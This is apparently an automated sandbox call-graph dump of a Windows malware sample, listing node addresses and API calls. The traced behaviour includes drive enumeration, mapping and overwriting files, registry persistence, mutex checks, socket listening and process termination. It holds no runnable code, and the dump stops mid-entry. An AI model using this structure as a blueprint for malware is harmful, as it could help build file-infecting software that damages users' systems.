10660->10658 10660->10659 10661->10658 10662 47cb95 VirtualFree HeapFree 10661->10662 10662->10658 10695 47b6c5 RtlLeaveCriticalSection 10663->10695 10665 47588f 10665->10643 10667 47d69c 10666->10667 10669 47d6b2 10666->10669 10667->10669 10696 47d556 10667->10696 10669->10638 10705 47b6c5 RtlLeaveCriticalSection 10670->10705 10672 4758e7 10672->10643 10674 474150 10673->10674 10675 47414b 10673->10675 10686 47903d 10674->10686 10680 479004 10675->10680 10679->10656 10681 47900e 10680->10681 10682 47903b 10681->10682 10683 47903d 7 API calls 10681->10683 10682->10674 10684 479025 10683->10684 10685 47903d 7 API calls 10684->10685 10685->10682 10689 479050 10686->10689 10687 474159 10687->10646 10688 479167 10692 47917a GetStdHandle WriteFile 10688->10692 10689->10687 10689->10688 10690 479090 10689->10690 10690->10687 10691 47909c GetModuleFileNameA 10690->10691 10693 4790b4 10691->10693 10692->10687 10694 4804b1 LoadLibraryA GetProcAddress GetProcAddress GetProcAddress 10693->10694 10694->10687 10695->10665 10699 47d563 10696->10699 10697 47d613 10697->10669 10698 47d584 VirtualFree 10698->10699 10699->10697 10699->10698 10701 47d500 VirtualFree 10699->10701 10702 47d51d 10701->10702 10703 47d54d 10702->10703 10704 47d52d HeapFree 10702->10704 10703->10699 10704->10699 10705->10672 10707 484280 10706->10707 10708 484285 10706->10708 10710 4841ce 10707->10710 10708->10571 10711 4841d8 10710->10711 10714 4841de 10710->10714 10712 484650 17 API calls 10711->10712 10712->10714 10716 484130 10714->10716 10717 484134 10716->10717 10719 484144 10716->10719 10718 484650 17 API calls 10717->10718 10717->10719 10718->10717 10719->10708 10721 4847e9 10720->10721 10722 4847dd 10720->10722 10721->10722 10724 484816 10721->10724 10728 473faa 10722->10728 10726 484650 17 API calls 10724->10726 10727 48481b 10726->10727 10727->10554 10729 473fb6 RtlEnterCriticalSection RtlLeaveCriticalSection 10728->10729 10730 473fd1 10728->10730 10729->10730 10730->10554 10735 48dec1 10738 48df8f LocalAlloc 10735->10738 10737 48decc 10739 48dfa2 10738->10739 10739->10737 10981 48bf82 10992 48dc02 10981->10992 10984 48bfcb 10987 48bfb6 11007 477a6c 10987->11007 10988 48bfa7 10989 47581e 17 API calls 10988->10989 10991 48bfaf 10989->10991 10993 48e3c1 3 API calls 10992->10993 10994 48bf88 10993->10994 10994->10984 10995 477bd0 10994->10995 10996 477c43 10995->10996 10997 477bfd 10995->10997 10998 477c8e RtlSizeHeap 10996->10998 11001 47b664 17 API calls 10996->11001 10999 47b664 17 API calls 10997->10999 11000 477ca1 10998->11000 11002 477c04 10999->11002 11000->10987 11000->10988 11003 477c4f 11001->11003 11020 477c3a 11002->11020 11023 477cb5 11003->11023 11006 477c31 11006->10998 11006->11000 11008 477a9e 11007->11008 11017 477a97 11007->11017 11009 477aa8 11008->11009 11010 477b07 11008->11010 11011 47b664 17 API calls 11009->11011 11012 47b664 17 API calls 11010->11012 11019 477aec 11010->11019 11014 477aaf 11011->11014 11016 477b27 11012->11016 11013 477ba9 RtlReAllocateHeap 11013->11017 11028 477afe 11014->11028 11016->11017 11031 477b93 11016->11031 11017->10991 11019->11013 11019->11017 11026 47b6c5 RtlLeaveCriticalSection 11020->11026 11022 477c41 11022->11006 11027 47b6c5 RtlLeaveCriticalSection 11023->11027 11025 477cbc 11025->11006 11026->11022 11027->11025 11034 47b6c5 RtlLeaveCriticalSection 11028->11034 11030 477b05 11030->11019 11035 47b6c5 RtlLeaveCriticalSection 11031->11035 11033 477b9a 11033->11019 11034->11030 11035->11033 10478 48c0000 10480 48c0005 10478->10480 10489 48c0018 10480->10489 10502 48c002b LoadLibraryExA 10480->10502 10485 48c006f GetModuleFileNameA 10492 48c01df LoadLibraryExA GetProcAddress 10485->10492 10493 48c0240 Sleep 10485->10493 10487 48c0136 MapViewOfFile 10488 48c0170 CreateThread 10487->10488 10491 48c014c 10487->10491 10498 48c0196 10488->10498 10517 48c06d2 10488->10517 10489->10485 10495 48c0260 7 API calls 10489->10495 10491->10488 10492->10493 10497 48c020c CreateMutexA GetLastError 10492->10497 10494 48c024b ExitProcess 10493->10494 10500 48c00a3 10495->10500 10496 48c019f Sleep 10496->10498 10497->10493 10497->10494 10498->10485 10498->10496 10501 48c0260 7 API calls 10500->10501 10501->10502 10503 48c0260 10502->10503 10504 48c00dc 10503->10504 10506 48c01ba GetModuleFileNameA 10503->10506 10512 48c0265 10504->10512 10507 48c01df LoadLibraryExA GetProcAddress 10506->10507 10508 48c0240 Sleep 10506->10508 10507->10508 10510 48c020c CreateMutexA GetLastError 10507->10510 10509 48c024b ExitProcess 10508->10509 10510->10508 10510->10509 10513 48c0269 10512->10513 10513->10512 10513->10513 10514 48c026c GetProcAddress 10513->10514 10516 48c00f3 SetErrorMode CreateFileMappingA CreateFileMappingA 10513->10516 10515 48c0260 7 API calls 10514->10515 10515->10513 10516->10487 10516->10488 10518 48c07e1 CreateMutexA 10517->10518 10520 48c06e6 10517->10520 10518->10520 10519 48c080a Sleep 10519->10518 10520->10518 10520->10519 10521 48c0817 10520->10521 10740 29db811 10741 29db81b 10740->10741 10742 29db821 GlobalFree 10741->10742 10743 29db832 RtlLeaveCriticalSection 10741->10743 10742->10743 10744 29db84d Sleep 10743->10744 10745 29db858 10743->10745 10744->10745 10894 29d8511 10895 29d8521 10894->10895 10896 29d8673 10895->10896 10897 29d853b 10895->10897 10907 29d13e8 InterlockedExchange 10895->10907 10908 29d13e8 InterlockedExchange 10897->10908 10900 29d85a0 10902 29d7b42 InterlockedExchange 10900->10902 10903 29d85c5 10900->10903 10901 29d855f 10901->10900 10909 29d13e8 InterlockedExchange 10901->10909 10902->10903 10905 29d687e InterlockedExchange 10903->10905 10906 29d8663 10905->10906 10907->10897 10908->10901 10909->10900 11036 47798a 11039 47799b 11036->11039 11048 477a40 11039->11048 11042 4779ac GetCurrentProcess TerminateProcess 11043 4779bd 11042->11043 11044 477a27 11043->11044 11045 477a2e ExitProcess 11043->11045 11051 477a49 11044->11051 11049 47b664 17 API calls 11048->11049 11050 4779a1 11049->11050 11050->11042 11050->11043 11054 47b6c5 RtlLeaveCriticalSection 11051->11054 11053 477997 11054->11053 11055 29d674d 11056 29d686a 11055->11056 11057 29d6862 11055->11057 11058 29d1420 InterlockedExchange 11056->11058 11058->11057 10824 29d13ce 10827 29d13d8 GetTickCount 10824->10827 10826 29d13d6 10827->10826 8942 bc27e8 8943 bc28f7 CreateMutexA 8942->8943 8945 bc27fc 8942->8945 8943->8945 8944 bc291a FindCloseChangeNotification Sleep 8944->8943 8945->8943 8945->8944 8946 bc292d 8945->8946 8956 bd97e8 8957 bd98f7 CreateMutexA 8956->8957 8961 bd97fc 8956->8961 8957->8961 8958 bd992d 8959 bd9b95 8958->8959 8960 bd9964 VirtualAlloc 8958->8960 8960->8959 8963 bd99bf 8960->8963 8961->8957 8961->8958 8963->8959 8964 bd9bc1 KiUserExceptionDispatcher 8963->8964 8965 bd9bd4 8964->8965 8965->8963 10801 29dbe4b 10802 29dbe55 10801->10802 10803 29dbe5e FindClose 10802->10803 10804 29dbe6b Sleep 10802->10804 10803->10804 10805 29dbe78 10804->10805 10828 29dc3ca lstrlen 10829 29dc3e5 10828->10829 10830 29d4364 3 API calls 10829->10830 10835 29dc3fe 10830->10835 10831 29dc556 10832 29dc58d GlobalFree 10831->10832 10833 29dc597 10831->10833 10832->10833 10834 29dc448 lstrlen 10834->10835 10836 29dc472 10834->10836 10835->10831 10835->10834 10835->10836 10836->10831 10837 29d5be5 10 API calls 10836->10837 10838 29dc520 10837->10838 10839 29db888 20 API calls 10838->10839 10840 29dc53a 10839->10840 10840->10831 10841 29dbe89 27 API calls 10840->10841 10841->10831 10842 29ddfc7 10858 29ddf88 10842->10858 10843 29de4c3 Sleep 10843->10858 10844 29de007 GetDriveTypeA 10846 29de04b lstrcat CreateFileA 10844->10846 10844->10858 10845 29de4d3 RtlExitUserThread 10848 29de08d GetFileTime FileTimeToSystemTime 10846->10848 10849 29de2b0 GetFileAttributesA 10846->10849 10847 29ddc56 11 API calls 10851 29ddf9a Sleep GetLogicalDrives 10847->10851 10854 29de0cb 10848->10854 10855 29de2a3 CloseHandle 10848->10855 10852 29de2cc SetFileAttributesA DeleteFileA 10849->10852 10853 29de2f7 CreateFileA 10849->10853 10851->10858 10872 29d5758 SHFileOperation RemoveDirectoryA 10852->10872 10857 29de326 GetSystemTime SystemTimeToFileTime 10853->10857 10853->10858 10854->10855 10860 29de100 ReadFile CharLowerA lstrlen 10854->10860 10862 29d42c7 2 API calls 10854->10862 10869 29de1f3 lstrcpy GetFileAttributesA 10854->10869 10855->10849 10859 29d5618 2 API calls 10857->10859 10858->10843 10858->10844 10858->10845 10858->10847 10858->10853 10863 29de394 10859->10863 10860->10854 10862->10854 10864 29de3ae lstrcat 10863->10864 10865 29de3c2 lstrcat 10863->10865 10866 29dd928 20 API calls 10863->10866 10873 29d13e8 InterlockedExchange 10863->10873 10864->10863 10865->10863 10867 29de3e7 6 API calls 10866->10867 10867->10858 10868 29de47e WriteFile CloseHandle SetFileAttributesA 10867->10868 10868->10858 10869->10854 10870 29de21f CloseHandle CreateFileA 10869->10870 10870->10854 10871 29de257 WriteFile CloseHandle SetFileAttributesA 10870->10871 10871->10854 10872->10858 10873->10863 10874 47751c RaiseException 11059 29dfb41 11062 29dfb59 11059->11062 11060 29dfcce RegCloseKey 11061 29dfcdb 11060->11061 11063 29dfba7 wsprintfA RegQueryValueExA 11062->11063 11064 29dfc10 11062->11064 11063->11064 11064->11060 11064->11061 10746 29dd23d 10747 29dd247 10746->10747 10748 29dd267 10747->10748 10749 29dd250 FindCloseChangeNotification 10747->10749 10750 29dd27d 10748->10750 10751 29dd270 CloseHandle 10748->10751 10749->10748 10752 29dd29c 10750->10752 10753 29dd286 GetProcessHeap HeapFree 10750->10753 10751->10750 10753->10752 11065 29d1d7f 11066 29d1d8e 11065->11066 11067 29d1ecf RegCloseKey 11066->11067 11068 29d1d9b wsprintfA 11066->11068 11080 29d1f1c 11067->11080 11069 29d1de6 11068->11069 11072 29d1df3 11068->11072 11070 29d1e51 11069->11070 11071 29d1e2f 11069->11071 11069->11072 11084 29d2061 11069->11084 11076 29d16fd 2 API calls 11070->11076 11075 29d16fd 2 API calls 11071->11075 11073 29d1e9d lstrlen RegSetValueExA 11072->11073 11074 29d1e7a RegSetValueExA 11072->11074 11077 29d1eca 11073->11077 11074->11077 11078 29d1e3e lstrcpy 11075->11078 11079 29d1e60 lstrcpy 11076->11079 11078->11072 11079->11072 11081 29d1f44 GlobalFree 11080->11081 11082 29d1f51 11080->11082 11081->11082 11083 29d227d RegCloseKey 11083->11082 11085 29d2399 22 API calls 11084->11085 11086 29d224d 11084->11086 11085->11086 11086->11082 11086->11083 10806 48deab 10807 48df8f LocalAlloc 10806->10807 10808 48deb2 10807->10808 10815 29df9b9 10817 29df9d1 10815->10817 10816 29dfa11 10818 29dfcce RegCloseKey 10816->10818 10819 29dfcdb 10816->10819 10817->10816 10820 29dfa3e wsprintfA 10817->10820 10821 29dfade RegSetValueExA 10817->10821 10818->10819 10820->10817 10820->10821 10821->10817 10910 29d3f3b 10911 29d3f52 inet_addr 10910->10911 10914 29d3f4e 10910->10914 10912 29d3f65 10911->10912 10913 29d3f76 gethostbyname 10911->10913 10912->10913 10912->10914 10913->10914 8966 29ded35 9003 29e3600 8966->9003 8970 29ded8d CreateThread 9038 29d10e5 RtlEnterCriticalSection 8970->9038 9274 29dd570 GlobalAlloc 8970->9274 8972 29dedb1 CreateThread 8973 29d10e5 3 API calls 8972->8973 9230 29d53b2 8972->9230 8974 29dedd8 CreateThread 8973->8974 8975 29d10e5 3 API calls 8974->8975 9194 29de507 8974->9194 8976 29dedff CreateThread 8975->8976 8977 29d10e5 3 API calls 8976->8977 9326 29d3faa Sleep 8976->9326 8978 29dee26 CreateThread 8977->8978 8979 29d10e5 3 API calls 8978->8979 9289 29d57a0 GetTempPathA lstrlen 8978->9289 8980 29dee4d 8979->8980 9043 29df030 CreateFileMappingA 8980->9043 8984 29dee8f 8985 29def86 CreateThread 8984->8985 9071 29d7c71 8984->9071 8987 29d10e5 3 API calls 8985->8987 9283 29d1189 8985->9283 8988 29defaa CreateThread 8987->8988 8989 29d10e5 3 API calls 8988->8989 9217 29d3911 8988->9217 8992 29defd1 CreateThread 8989->8992 8990 29def67 8994 29df760 15 API calls 8990->8994 8991 29deed4 8991->8990 9001 29deee3 8991->9001 8993 29d10e5 3 API calls 8992->8993 9305 29d3d9b 8992->9305 8995 29deff8 8993->8995 8996 29def7b 8994->8996 8998 29df004 Sleep 8995->8998 8999 29df011 8995->8999 8996->8985 8998->8995 9083 29df310 8999->9083 9001->8991 9077 29df0b0 9001->9077 9004 29ded42 SetErrorMode WSAStartup RtlInitializeCriticalSection RtlInitializeCriticalSection RtlInitializeCriticalSection 9003->9004 9005 29de6f0 9004->9005 9006 29de6fd 9005->9006 9088 29ddc56 RegOpenKeyExA 9006->9088 9009 29de77b GetProcAddress GetProcAddress GetProcAddress 9010 29de7c5 LoadLibraryA 9009->9010 9011 29de844 RegOpenKeyExA 9010->9011 9012 29de7e1 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 9010->9012 9013 29de868 RegSetValueExA RegCloseKey 9011->9013 9014 29de8a0 RegOpenKeyExA 9011->9014 9012->9011 9013->9014 9015 29de8fc lstrcpy lstrcat RegOpenKeyExA 9014->9015 9016 29de8c4 RegSetValueExA RegCloseKey 9014->9016 9017 29de947 GetModuleFileNameA wsprintfA lstrlen RegSetValueExA RegCloseKey 9015->9017 9018 29de9b2 RegOpenKeyExA 9015->9018 9016->9015 9017->9018 9019 29dea68 GetComputerNameA lstrlen 9018->9019 9020 29de9da RegSetValueExA RegSetValueExA RegSetValueExA RegCloseKey 9018->9020 9021 29dea98 lstrlen 9019->9021 9022 29deae6 CreateFileMappingA 9019->9022 9020->9019 9021->9022 9023 29deb09 9022->9023 9096 29d1b0e 9023->9096 9025 29deb13 lstrlen 9026 29deb2a 9025->9026 9027 29deb25 9025->9027 9029 29deb79 9026->9029 9035 29deba8 9026->9035 9137 29d59de GetTickCount GetPrivateProfileStringA lstrlen 9027->9137 9143 29d13e8 InterlockedExchange 9029->9143 9031 29deb7e GetTickCount wsprintfA 9031->9035 9032 29dec82 lstrcat GetSystemDirectoryA lstrlen 9033 29deccd 6 API calls 9032->9033 9034 29decbd lstrcat 9032->9034 9033->8970 9034->9033 9035->9032 9036 29dec39 lstrlen wsprintfA 9035->9036 9036->9035 9037 29dec7b 9036->9037 9037->9032 9039 29d1148 9038->9039 9042 29d1101 9038->9042 9040 29d117a RtlLeaveCriticalSection 9039->9040 9041 29d115b CloseHandle 9039->9041 9040->8972 9041->9040 9042->9040 9044 29df07c MapViewOfFile 9043->9044 9045 29dee82 9043->9045 9044->9045 9046 29df760 9045->9046 9047 29df7fd 9046->9047 9048 29df7f1 9046->9048 9047->8984 9048->9047 9049 29df802 lstrcpy GetUserNameA 9048->9049 9050 29e2ceb 9049->9050 9051 29df83d lstrlen 9050->9051 9052 29df866 lstrlen 9051->9052 9053 29df852 lstrcat 9051->9053 9055 29df8dc RegOpenKeyExA 9052->9055 9056 29df896 lstrlen 9052->9056 9053->9052 9057 29df92d 9055->9057 9058 29df900 9055->9058 9056->9052 9060 29df937 9057->9060 9063 29dfb29 9057->9063 9058->9047 9059 29df90b RegCreateKeyA 9058->9059 9059->9057 9061 29df928 9059->9061 9062 29df94b RegEnumValueA 9060->9062 9064 29df986 RegDeleteValueA 9060->9064 9069 29df984 9060->9069 9061->9047 9062->9060 9062->9069 9066 29dfba7 wsprintfA RegQueryValueExA 9063->9066 9067 29dfa11 9063->9067 9064->9062 9065 29dfcce RegCloseKey 9065->9047 9066->9067 9067->9047 9067->9065 9068 29dfa3e wsprintfA 9068->9069 9070 29dfade RegSetValueExA 9068->9070 9069->9067 9069->9068 9069->9070 9070->9069 9072 29d7cdd 9071->9072 9073 29d7c8e 9071->9073 9072->8991 9073->9072 9074 29d7c97 MapViewOfFile 9073->9074 9074->9072 9075 29d7cb7 9074->9075 9076 29d7cc9 UnmapViewOfFile 9075->9076 9076->9072 9078 29df0d9 9077->9078 9081 29df0e2 9077->9081 9079 29df136 9078->9079 9080 29df152 GetTickCount 9078->9080 9078->9081 9079->9081 9082 29df27d GetTickCount 9079->9082 9080->9079 9081->9001 9082->9081 9084 29df32d 9083->9084 9085 29df320 UnmapViewOfFile 9083->9085 9086 29df336 CloseHandle 9084->9086 9087 29df01c 9084->9087 9085->9084 9086->9087 9089 29ddca7 RegSetValueExA RegCloseKey 9088->9089 9091 29ddcde 9088->9091 9089->9091 9090 29ddd25 lstrcpy lstrcat 9093 29ddd58 9090->9093 9091->9090 9144 29ddbcc RegOpenKeyExA 9091->9144 9094 29ddd94 LoadLibraryA 9093->9094 9095 29ddbcc 6 API calls 9093->9095 9094->9009 9094->9010 9095->9093 9097 29d1b38 9096->9097 9098 29d1bbe 9097->9098 9099 29d1bc3 lstrcpy GetUserNameA 9097->9099 9098->9025 9149 29e2ceb 9099->9149 9102 29d1c2d lstrlen 9105 29d1c5d lstrlen 9102->9105 9106 29d1ca3 lstrlen wsprintfA RegOpenKeyExA 9102->9106 9103 29d1c1a lstrcat 9103->9102 9105->9102 9107 29d1f5d 9106->9107 9108 29d1d03 RegCreateKeyA 9106->9108 9111 29d1f85 wsprintfA 9107->9111 9134 29d1fea 9107->9134 9108->9098 9109 29d1d2c GlobalAlloc 9108->9109 9110 29d7c71 2 API calls 9109->9110 9112 29d1d4b 9110->9112 9113 29d1fec RegQueryValueExA 9111->9113 9114 29d1fb1 RegQueryValueExA 9111->9114 9116 29d1d63 9112->9116 9151 29d2399 9112->9151 9113->9134 9117 29d1fe5 9114->9117 9114->9134 9115 29d227d RegCloseKey 9115->9098 9120 29d1ecf RegCloseKey 9116->9120 9121 29d1d9b wsprintfA 9116->9121 9122 29d1f1c 9116->9122 9117->9025 9119 29d1f44 GlobalFree 9119->9098 9120->9122 9123 29d1de6 9121->9123 9124 29d1df3 9121->9124 9122->9098 9122->9119 9123->9124 9125 29d1e51 9123->9125 9126 29d1e2f 9123->9126 9123->9134 9127 29d1e9d lstrlen RegSetValueExA 9124->9127 9128 29d1e7a RegSetValueExA 9124->9128 9130 29d16fd 2 API calls 9125->9130 9162 29d16fd 9126->9162 9131 29d1eca 9127->9131 9128->9131 9133 29d1e60 lstrcpy 9130->9133 9131->9025 9133->9124 9135 29d2399 22 API calls 9134->9135 9136 29d224d 9134->9136 9135->9136 9136->9098 9136->9115 9138 29d5aeb lstrcpy 9137->9138 9139 29d5a6b GetTickCount 9137->9139 9138->9026 9140 29d5a8a 9139->9140 9193 29d13e8 InterlockedExchange 9140->9193 9142 29d5a9e wsprintfA WritePrivateProfileStringA 9142->9138 9143->9031 9145 29ddc1a RegCreateKeyA 9144->9145 9146 29ddbf6 RegSetValueExA RegCloseKey 9144->9146 9147 29ddc52 9145->9147 9148 29ddc30 RegSetValueExA RegCloseKey 9145->9148 9146->9147 9147->9091 9148->9147 9150 29d1c05 lstrlen 9149->9150 9150->9102 9150->9103 9152 29e3600 9151->9152 9153 29d23a6 RtlEnterCriticalSection 9152->9153 9158 29d242b 9153->9158 9154 29d244b 9155 29d263b lstrcpy 9155->9158 9156 29d2692 9161 29d269b RtlLeaveCriticalSection 9156->9161 9166 29d1792 9156->9166 9158->9154 9158->9155 9158->9156 9159 29d2740 9159->9116 9161->9159 9165 29d170a 9162->9165 9163 29d1754 lstrlen wsprintfA 9163->9165 9164 29d1787 lstrcpy 9164->9124 9165->9163 9165->9164 9167 29d179f 9166->9167 9168 29d180d lstrcpy GetUserNameA 9167->9168 9169 29d1808 9167->9169 9170 29e2ceb 9168->9170 9169->9161 9171 29d1848 lstrlen 9170->9171 9172 29d185d lstrcat 9171->9172 9173 29d1870 lstrlen 9171->9173 9172->9173 9175 29d18e6 lstrlen wsprintfA RegOpenKeyExA 9173->9175 9176 29d18a0 lstrlen 9173->9176 9177 29d1964 9175->9177 9178 29d1942 RegCreateKeyA 9175->9178 9176->9173 9180 29d198c wsprintfA 9177->9180 9181 29d1adf RegCloseKey 9177->9181 9178->9177 9179 29d195f 9178->9179 9179->9169 9182 29d19d7 9180->9182 9186 29d19e4 9180->9186 9181->9169 9185 29d1a5c 9182->9185 9182->9186 9187 29d1a33 9182->9187 9183 29d1aad lstrlen RegSetValueExA 9190 29d1ada 9183->9190 9184 29d1a8a RegSetValueExA 9184->9190 9189 29d16fd 2 API calls 9185->9189 9186->9183 9186->9184 9188 29d16fd 2 API calls 9187->9188 9191 29d1a49 lstrcpy 9188->9191 9192 29d1a70 lstrcpy 9189->9192 9190->9161 9191->9186 9192->9186 9193->9142 9195 29de514 9194->9195 9196 29de558 lstrcpy LoadLibraryA 9195->9196 9197 29de54b Sleep 9195->9197 9198 29de5a9 9196->9198 9199 29de591 GetProcAddress 9196->9199 9197->9195 9200 29de606 CreateThread 9198->9200 9201 29de5b2 FreeLibrary lstrcat LoadLibraryA 9198->9201 9199->9198 9202 29d10e5 3 API calls 9200->9202 9946 29ddd99 9200->9946 9201->9200 9203 29de5ee GetProcAddress 9201->9203 9204 29de62a CreateThread 9202->9204 9203->9200 9205 29d10e5 3 API calls 9204->9205 9939 29dcc39 Sleep 9204->9939 9206 29de651 Sleep 9205->9206 9207 29de685 9206->9207 9208 29de6bc Sleep 9207->9208 9209 29de68e CreateThread 9207->9209 9213 29de66b Sleep 9207->9213 9339 29dc5ae wsprintfA RegOpenKeyExA 9208->9339 9210 29d10e5 3 API calls 9209->9210 9932 29dca87 9209->9932 9210->9207 9213->9207 9214 29dc5ae 58 API calls 9215 29de6de Sleep 9214->9215 9218 29e3600 9217->9218 9219 29d391e htons socket 9218->9219 9220 29d3a0a setsockopt bind 9219->9220 9221 29d3a05 9219->9221 9220->9221 9222 29d3a53 9220->9222 9225 29d3b2e RtlExitUserThread 9221->9225 9226 29d3b21 closesocket 9221->9226 9222->9221 9223 29d3a60 recvfrom 9222->9223 9223->9222 9224 29d3a9c InterlockedExchange CreateThread 9223->9224 9227 29d10e5 3 API calls 9224->9227 10113 29d3536 9224->10113 9225->9221 9226->9225 9228 29d3afd 9227->9228 9228->9222 9229 29d3b09 Sleep 9228->9229 9229->9228 9231 29d53ce Sleep 9230->9231 9232 29d53c1 Sleep 9230->9232 9233 29d53d9 9231->9233 9232->9233 10170 29d43ec RegOpenKeyExA 9233->10170 9236 29d43ec 7 API calls 9237 29d540b LoadLibraryA 9236->9237 9238 29d5428 GetProcAddress 9237->9238 9239 29d55fa RtlExitUserThread 9237->9239 9240 29d544b GetProcAddress 9238->9240 9241 29d5446 9238->9241 9242 29d5540 9239->9242 9243 29d546f GetProcAddress 9240->9243 9244 29d546a 9240->9244 9242->9239 9245 29d548e 9243->9245 9246 29d5493 GetProcAddress 9243->9246 9247 29d54b6 GetProcAddress 9246->9247 9248 29d54b1 9246->9248 9249 29d54da GetProcAddress 9247->9249 9250 29d54d5 9247->9250 9251 29d54fe GetProcAddress 9249->9251 9252 29d54f9 9249->9252 9253 29d551c 9251->9253 9254 29d5521 GetProcAddress 9251->9254 9254->9242 9255 29d5545 9254->9255 10181 29d47bf GetSystemDirectoryA lstrlen 9255->10181 9257 29d554a CreateThread 9258 29d10e5 3 API calls 9257->9258 10218 29d48d6 9257->10218 9259 29d556b LoadLibraryA 9258->9259 9259->9239 9260 29d5584 GetProcAddress 9259->9260 9260->9239 9261 29d55a2 9260->9261 10185 29d4649 CreateFileA 9261->10185 9263 29d55a7 9270 29d55c1 9263->9270 10188 29d4595 DeleteFileA CreateFileA 9263->10188 9265 29d4649 2 API calls 9267 29d55c9 9265->9267 9267->9239 10194 29d4bd0 GetSystemDirectoryA lstrlen 9267->10194 9270->9265 9272 29d55d6 CreateThread 9273 29d10e5 3 API calls 9272->9273 10213 29d5388 9272->10213 9273->9242 9275 29d7c71 2 API calls 9274->9275 9276 29dd5c4 9275->9276 9277 29dd5e1 GlobalFree 9276->9277 9278 29dd5ff 9277->9278 9280 29dd621 RtlExitUserThread 9277->9280 9278->9280 10262 29dd2b0 CreateToolhelp32Snapshot 9278->10262 9282 29dd6bb Sleep 9282->9278 9284 29d1194 9283->9284 9285 29d11fb RtlExitUserThread 9284->9285 9286 29d11ee Sleep 9284->9286 9287 29d11c5 WaitForSingleObject 9284->9287 9288 29d10e5 3 API calls 9284->9288 9286->9284 9287->9284 9288->9284 9290 29d5832 lstrcat 9289->9290 9293 29d5844 9289->9293 9290->9293 9291 29d59cf RtlExitUserThread 9292 29d5851 lstrlen lstrcpy lstrcat 9292->9293 9293->9291 9293->9292 9294 29d589d FindFirstFileA 9293->9294 9296 29d59bf Sleep 9293->9296 9297 29d59b2 FindClose 9293->9297 9294->9293 9295 29d58c7 FindNextFileA 9294->9295 9295->9293 9298 29d58e3 lstrcat lstrlen lstrlen 9295->9298 9296->9293 9297->9296 9299 29d592a lstrcmpiA 9298->9299 9303 29d5946 9298->9303 9299->9303 9300 29d5999 Sleep 9300->9295 9301 29d5719 51 API calls 9301->9303 9302 29d5970 lstrcmpiA 9302->9300 9302->9303 9303->9300 9303->9301 9303->9302 10323 29d5758 SHFileOperation RemoveDirectoryA 9303->10323 9306 29df030 2 API calls 9305->9306 9307 29d3de7 9306->9307 9308 29df760 15 API calls 9307->9308 9309 29d3df4 9308->9309 10324 29d3d16 9309->10324 9312 29d3f2c RtlExitUserThread 9313 29d3e5b CreateThread 9315 29d10e5 3 API calls 9313->9315 10329 29d3b41 9313->10329 9314 29d3ec5 Sleep 9319 29d3e04 9314->9319 9317 29d3e84 Sleep 9315->9317 9316 29d3edd Sleep 9318 29d3eff Sleep 9316->9318 9316->9319 9321 29d3e92 9317->9321 9320 29df760 15 API calls 9318->9320 9319->9312 9319->9313 9319->9314 9319->9316 9319->9318 9323 29d3f17 9320->9323 9321->9319 9322 29d3e9b Sleep 9321->9322 9322->9321 9324 29d3d16 4 API calls 9323->9324 9325 29d3f1c Sleep 9324->9325 9325->9319 10376 29d13e8 InterlockedExchange 9326->10376 9328 29d4041 Sleep 9336 29d405b 9328->9336 9329 29d42b8 RtlExitUserThread 9330 29d42a8 Sleep 9330->9336 9331 29d4291 Sleep 9331->9336 9332 29d4169 lstrcpy 9332->9336 9333 29d5be5 10 API calls 9333->9336 9334 29d41f2 9334->9336 10414 29dc1ef lstrlen 9334->10414 9336->9329 9336->9330 9336->9331 9336->9332 9336->9333 9336->9334 10377 29db888 lstrcpy 9336->10377 10394 29dbe89 CreateFileA 9336->10394 9340 29dc787 9339->9340 9345 29dc681 9339->9345 9340->9214 9341 29dc69c RegEnumValueA 9342 29dc773 RegCloseKey 9341->9342 9341->9345 9342->9340 9345->9341 9346 29dc716 lstrlen lstrlen 9345->9346 9349 29d42c7 9345->9349 9353 29d9652 9345->9353 9346->9345 9348 29dc763 Sleep 9348->9345 9352 29d42d0 9349->9352 9350 29d4317 tolower tolower 9350->9352 9351 29d4353 9351->9345 9352->9350 9352->9351 9354 29d967c 9353->9354 9453 29d13e8 InterlockedExchange 9354->9453 9356 29d977f 9454 29d13e8 InterlockedExchange 9356->9454 9358 29d97c2 lstrcpy CharUpperA 9359 29d42c7 2 API calls 9358->9359 9366 29d99e6 9359->9366 9360 29d99ed 9360->9348 9361 29d9a61 9362 29d9a6a MultiByteToWideChar 9361->9362 9363 29d9aa0 RtlEnterCriticalSection 9361->9363 9365 29d9a95 9362->9365 9369 29d9ac5 9363->9369 9364 29d42c7 2 API calls 9364->9366 9365->9360 9365->9363 9366->9360 9366->9361 9366->9364 9367 29d9a4a 9366->9367 9601 29d5719 9367->9601 9370 29d9b03 GetLocalTime GetFileAttributesA SetFileAttributesA 9369->9370 9371 29d9b3f CreateFileA 9370->9371 9372 29d9b33 9370->9372 9373 29d9b7f 9371->9373 9374 29d9b6a GetFileSize 9371->9374 9375 29db821 GlobalFree 9372->9375 9376 29db832 RtlLeaveCriticalSection 9372->9376 9377 29db7d4 FindCloseChangeNotification SetFileAttributesA 9373->9377 9380 29d9bac GetFileTime CreateFileMappingA 9373->9380 9374->9373 9375->9376 9376->9360 9379 29db84d Sleep 9376->9379 9377->9372 9378 29db7f8 DeleteFileA 9377->9378 9378->9372 9379->9360 9381 29d9c0f MapViewOfFile 9380->9381 9397 29d9e9a 9380->9397 9393 29d9c31 9381->9393 9381->9397 9382 29db724 FindCloseChangeNotification 9382->9377 9383 29db73e SetFilePointer SetEndOfFile 9382->9383 9384 29db79b 9383->9384 9385 29db774 9383->9385 9388 29db7a1 GlobalFree 9384->9388 9389 29db7b2 SetFileTime 9384->9389 9385->9384 9387 29db77a WriteFile 9385->9387 9386 29db71a UnmapViewOfFile 9386->9382 9387->9384 9388->9389 9389->9377 9390 29db6dc GlobalAlloc 9392 29db53c 9390->9392 9391 29db6ce 9391->9386 9392->9391 9393->9397 9455 29d13e8 InterlockedExchange 9393->9455 9395 29d9cde 9398 29d9d01 9395->9398 9607 29d13e8 InterlockedExchange 9395->9607 9397->9382 9397->9386 9397->9390 9397->9392 9398->9397 9399 29da081 lstrcpyn lstrcmpiA 9398->9399 9400 29da0b7 9399->9400 9400->9397 9401 29da149 GlobalAlloc 9400->9401 9403 29da17e 9400->9403 9402 29da17b 9401->9402 9402->9403 9456 29d13e8 InterlockedExchange 9403->9456 9405 29da914 9406 29da97e 9405->9406 9608 29d80da 9405->9608 9408 29da9fa 9406->9408 9411 29d80da InterlockedExchange 9406->9411 9409 29daa51 9408->9409 9413 29d80da InterlockedExchange 9408->9413 9457 29d13e8 InterlockedExchange 9409->9457 9411->9408 9412 29da5c5 IsBadHugeWritePtr 9416 29da1f7 9412->9416 9413->9409 9414 